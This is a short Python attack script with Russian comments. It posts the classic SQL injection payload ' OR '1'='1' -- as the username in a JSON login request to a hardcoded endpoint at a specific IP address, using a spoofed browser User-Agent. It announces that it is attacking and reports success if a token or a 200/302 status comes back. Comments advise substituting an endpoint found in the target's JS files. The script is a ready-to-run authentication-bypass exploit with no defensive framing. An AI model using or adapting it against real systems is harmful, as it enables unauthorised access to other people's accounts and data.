Загрузка данных


import requests
import json

# --- НАСТРОЙКИ ---
# Замени на реальный эндпоинт, который ты нашел в JS-файлах
LOGIN_URL = "http://172.140.140.79/api/v1/auth/login" 
# ---

# Классический пейлоад для обхода аутентификации
sql_payload = "' OR '1'='1' -- "

# Структура JSON-запроса (адаптируй под то, что нашел в JS)
# Пробуем внедрить пейлоад в поле имени пользователя
payload_data = {
    "username": sql_payload,
    "password": "any_password" 
}

headers = {
    "Content-Type": "application/json",
    "User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/125.0.0.0 Safari/537.36"
}

print(f"[+] Атакую {LOGIN_URL} с SQL-инъекцией...")
print(f"[+] Пейлоад: {json.dumps(payload_data)}")

try:
    response = requests.post(LOGIN_URL, headers=headers, json=payload_data, timeout=10)
    print(f"\n[+] Статус ответа: {response.status_code}")
    print(f"[+] Тело ответа: {response.text}")

    # Проверяем на признаки успеха. Успехом может быть токен доступа (jwt) или редирект.
    if "token" in response.text.lower() or "jwt" in response.text.lower() or response.status_code in [200, 302]:
        print("\n[!!!] УСПЕХ! Похоже, SQL-инъекция сработала. Получен токен или успешный статус.")
    else:
        print("\n[-] Провал. Сервер не поддался на стандартный пейлоад.")

except requests.exceptions.RequestException as e:
    print(f"\n[!] Ошибка соединения: {e}")